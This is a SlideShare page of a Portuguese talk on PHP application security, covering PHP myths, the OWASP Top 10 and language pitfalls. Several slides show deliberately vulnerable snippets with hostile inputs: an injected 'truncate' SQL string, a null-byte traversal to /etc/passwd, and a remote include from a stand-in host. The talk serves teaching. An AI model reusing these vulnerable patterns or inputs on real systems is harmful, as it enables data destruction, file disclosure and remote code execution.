RICARDO MELOPHP e a segurança de aplicações#phplxFollow this topic:@rjsmelo
RICARDO MELO●   CTO @ DRI●   Tecnologias: PHP, Mysql, Linux e OSS    no geral●   ZCE, RHCE, LPI 3, ITIL, etc@rjsmelo      ...
O que é o PHP?●   PHP é uma linguagem de programação●   Apesar de ter nascido como “Personal    Home Page”, é uma das ling...
Anatomia do PHP ●   O “Core” da linguagem (os ifs e elses) ●   As bibliotecas “oficiais” de funções     (extensões) ●   O ...
O que faz o PHP popular●   Baixa barreira de entrada●   Resultados imediatos●   O factor “recompensa imediata” do    progr...
De facto há quem o defina ...●   Segundo Rasmus Lerdorf (the creator of    PHP):    “PHP has never been just a scripting e...
Facilidade ou Facilitismo  ●   register_globals  ●   magic_quotes  ●   safe_mode  ●   open_basedir       1999 - 2013 DRI. ...
Mitos & Lendas do PHP●   O PHP é Inseguro●   O <XXX> é seguro●   As frameworks resolvem os problemas    de segurança     1...
Mitos & Lendas do PHP (2)●   PHP é para fazer umas “páginazitas”●   Se querem um site/portal/webapp/etc    como deve de se...
Segurança de Aplicações●   As preocupações “aplicacionais” da    segurança de informação    “Information security means pr...
Abordagem “Normalizada”    “[...] precisamos de aumentar a    segurança do nosso software [...]”●   Lista de falhas de seg...
Exemplo: OWASP Top 10●   A1-Injection●   A2-Cross Site Scripting (XSS)●   A3-Broken Authentication and Session    Manageme...
PHP e a (in)Segurança●   “With great power comes great    responsibility”●   A grande facilidade e flexibilidade da    lin...
register_globals  ●   O clássico...  ●   Todos os parâmetros que são      passados ao script (GET, POST,      COOKIE, SERV...
$_REQUEST●   O $_REQUEST foi uma solução de    “migração rápida” do register_globals●   Usa a mesma ordem de processamento...
Case Sensitive & Type insensitive●   O primeiro não é normalmente fonte de    problemas●   Já o type insensitive pode traz...
Type juggling & Type cast  ●   http://www.php.net/manual/en/languag      e.types.type-juggling.php      –    O tipo de var...
Strings em PHP e em ... C●   O PHP usa no final, bibliotecas em C.        –    O “0” em PHP é mais um caractere        –  ...
Streams●   O PHP usa streams para aceder aos    “ficheiros”.      ●   file:// — Accessing local filesystem      ●   http:/...
include / require●   O include / require também usa streams    pelo que pode incluir ficheiros via “http”,    “ftp”, etc.●...
A moda do .inc ●   Existiu uma tendência para usar a     extensão .inc ●   Apenas superada pela tendência do     “rename” ...
SQL Injections e Mysql●   Mito:    –   A extensão mysql é vulnerável a SQL injection    –   Para resolver isso deve-se usa...
Magia da sessões●   session_start()●   It Just Works●   Session Fixation    –    session.use_only_cookies (default 1 para ...
QAFollow this topic:@rjsmelo
www.dri-global.com@rjsmeloricardo.melo@dri-global.com
Thank you
Upcoming SlideShare
Loading in...5
×

PHP e a (in)segurança de aplicações

576

Published on

Apresentação focada na evolução do php e a sua relação com a segurança aplicacional.
São também abordadas as crenças de que o PHP é mais ou menos seguro que outras linguagens de programação.


(Presentation in Portuguese)

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
576
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
7
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

PHP e a (in)segurança de aplicações

  1. 1. RICARDO MELOPHP e a segurança de aplicações#phplxFollow this topic:@rjsmelo
  2. 2. RICARDO MELO● CTO @ DRI● Tecnologias: PHP, Mysql, Linux e OSS no geral● ZCE, RHCE, LPI 3, ITIL, etc@rjsmelo 2
  3. 3. O que é o PHP?● PHP é uma linguagem de programação● Apesar de ter nascido como “Personal Home Page”, é uma das linguagens de programação mais difundidas na/para a net.● Distanciou-se das origens e mudou de nome - PHP: Hypertext Preprocessor 1999 - 2013 DRI. Alguns direitos reservados. 3
  4. 4. Anatomia do PHP ● O “Core” da linguagem (os ifs e elses) ● As bibliotecas “oficiais” de funções (extensões) ● O resto – PEAR – PECL – OSS libraries 1999 - 2013 DRI. Alguns direitos reservados. 4
  5. 5. O que faz o PHP popular● Baixa barreira de entrada● Resultados imediatos● O factor “recompensa imediata” do programador● Resolve os problemas que se propõe resolver de uma forma simples e efectiva 1999 - 2013 DRI. Alguns direitos reservados. 5
  6. 6. De facto há quem o defina ...● Segundo Rasmus Lerdorf (the creator of PHP): “PHP has never been just a scripting engine with some cool add-ons. PHP has always been the solution to the Web problem with even more bonus add-ons. And as I have said so many times, PHP is not about purity in CS principles or architecture, it is about solving the ugly web problem with an admittedly ugly, but extremely functional and convenient solution. If you are looking for purity you are in the wrong boat. Get out now before you get hit by a wet cat!” 1999 - 2013 DRI. Alguns direitos reservados. 6
  7. 7. Facilidade ou Facilitismo ● register_globals ● magic_quotes ● safe_mode ● open_basedir 1999 - 2013 DRI. Alguns direitos reservados. 7
  8. 8. Mitos & Lendas do PHP● O PHP é Inseguro● O <XXX> é seguro● As frameworks resolvem os problemas de segurança 1999 - 2013 DRI. Alguns direitos reservados. 8
  9. 9. Mitos & Lendas do PHP (2)● PHP é para fazer umas “páginazitas”● Se querem um site/portal/webapp/etc como deve de ser (enterprise level) então tem de se usar <XXX> 1999 - 2013 DRI. Alguns direitos reservados. 9
  10. 10. Segurança de Aplicações● As preocupações “aplicacionais” da segurança de informação “Information security means protecting information and information systems from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction” (http://en.wikipedia.org/wiki/Information _security) 1999 - 2013 DRI. Alguns direitos reservados. 10
  11. 11. Abordagem “Normalizada” “[...] precisamos de aumentar a segurança do nosso software [...]”● Lista de falhas de segurança – OWASP top 10 – SANS top 25 – Válidas para qualquer linguagem de programação e genéricas o suficiente● e um livro: “secure <xxxx>”● Code review & pen test & ... 1999 - 2013 DRI. Alguns direitos reservados. 11
  12. 12. Exemplo: OWASP Top 10● A1-Injection● A2-Cross Site Scripting (XSS)● A3-Broken Authentication and Session Management● A4-Insecure Direct Object References● A5-Cross Site Request Forgery (CSRF)● A6-Security Misconfiguration● A7-Insecure Cryptographic Storage● A8-Failure to Restrict URL Access● A9-Insufficient Transport Layer Protection● A10-Unvalidated Redirects and Forwards 1999 - 2013 DRI. Alguns direitos reservados. 12
  13. 13. PHP e a (in)Segurança● “With great power comes great responsibility”● A grande facilidade e flexibilidade da linguagem colocam várias vezes os programadores em apuros.● O “shared-hosting” potenciou a existência de aplicações com “tudo” na web root. – Excepto por configuração do servidor, todos os ficheiros estão acessíveis via web 1999 - 2013 DRI. Alguns direitos reservados. 13
  14. 14. register_globals ● O clássico... ● Todos os parâmetros que são passados ao script (GET, POST, COOKIE, SERVER) passam a ser variáveis globais. // chamar usando http://server/script.php?authorized=1 if ( some_function_to_chek($username,$password) { $authorized = 1; } if ( ! $authorized ) { exit; } // rest of the code 1999 - 2013 DRI. Alguns direitos reservados. 14
  15. 15. $_REQUEST● O $_REQUEST foi uma solução de “migração rápida” do register_globals● Usa a mesma ordem de processamento do register_globals● Em vez de registar globais, regista “keys” no array $_REQUEST● Misturar GET e POST pode potenciar o XSRF e afins.● A maioria defende usar $_GET & $_POST para manter maior controlo sobre os pedidos. 1999 - 2013 DRI. Alguns direitos reservados. 15
  16. 16. Case Sensitive & Type insensitive● O primeiro não é normalmente fonte de problemas● Já o type insensitive pode trazer os seus dissabores $country = "1 ; truncate world;"; if ( $country > 0 ) { mysql_query("delete from world where country = {$country}"); } echo (int)$country; // 1 echo (string)$country; // 1; truncate world; 1999 - 2013 DRI. Alguns direitos reservados. 16
  17. 17. Type juggling & Type cast ● http://www.php.net/manual/en/languag e.types.type-juggling.php – O tipo de variável é determinada pelo contexto ● Se somarmos (+) é um int (ou float) ● Se concatenarmos strings (.) é uma string ● Typecast e afins – (int), (float), (string), (array), (object), (unset) – settype $country = "1 ; truncate world;"; settype($country,integer); echo (int)$country; // 1 echo (string)$country; // 1 1999 - 2013 DRI. Alguns direitos reservados. 17
  18. 18. Strings em PHP e em ... C● O PHP usa no final, bibliotecas em C. – O “0” em PHP é mais um caractere – Em C é o fim da string ... $file = $_GET[file]; // "../../etc/passwd0" if (file_exists(/home/wwwrun/.$file..php)) { // file_exists will return true as the // file /home/wwwrun/../../etc/passwd exists include /home/wwwrun/.$file..php; // the file /etc/passwd will be included } 1999 - 2013 DRI. Alguns direitos reservados. 18
  19. 19. Streams● O PHP usa streams para aceder aos “ficheiros”. ● file:// — Accessing local filesystem ● http:// — Accessing HTTP(s) URLs ● ftp:// — Accessing FTP(s) URLs ● php:// — Accessing various I/O streams ● zlib:// — Compression Streams ● data:// — Data (RFC 2397) ● glob:// — Find pathnames matching pattern ● phar:// — PHP Archive ● ssh2:// — Secure Shell 2 ● rar:// — RAR ● ogg:// — Audio streams ● expect:// — Process Interaction Streams 1999 - 2013 DRI. Alguns direitos reservados. 19
  20. 20. include / require● O include / require também usa streams pelo que pode incluir ficheiros via “http”, “ftp”, etc.● Excepto quando allow_url_fopen está inactivo // $_GET[theme_path] => http://some-host.xpto/nasty.php? include "{$_GET[theme_path]}/header.inc"; 1999 - 2013 DRI. Alguns direitos reservados. 20
  21. 21. A moda do .inc ● Existiu uma tendência para usar a extensão .inc ● Apenas superada pela tendência do “rename” para .orig ou .bak enquanto se faz um “debug” no servidor ● Quando e extensão é “.php” o ficheiro é processado pelo PHP, quando é .inc e afins, é apenas um ficheiro de texto 1999 - 2013 DRI. Alguns direitos reservados. 21
  22. 22. SQL Injections e Mysql● Mito: – A extensão mysql é vulnerável a SQL injection – Para resolver isso deve-se usar ● Mysqli ● PDO● Facto: – É suposto (todas as extensões) deixarem o programador fazer os queries que entender – Por isso pode-se fazer SQL injection em todas – O problema está entre a cadeira e o teclado. – Na realidade referiam-se a prepared statements. 1999 - 2013 DRI. Alguns direitos reservados. 22
  23. 23. Magia da sessões● session_start()● It Just Works● Session Fixation – session.use_only_cookies (default 1 para o PHP5.3) – session_regenerate_id() 1999 - 2013 DRI. Alguns direitos reservados. 23
  24. 24. QAFollow this topic:@rjsmelo
  25. 25. www.dri-global.com@rjsmeloricardo.melo@dri-global.com
  26. 26. Thank you
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×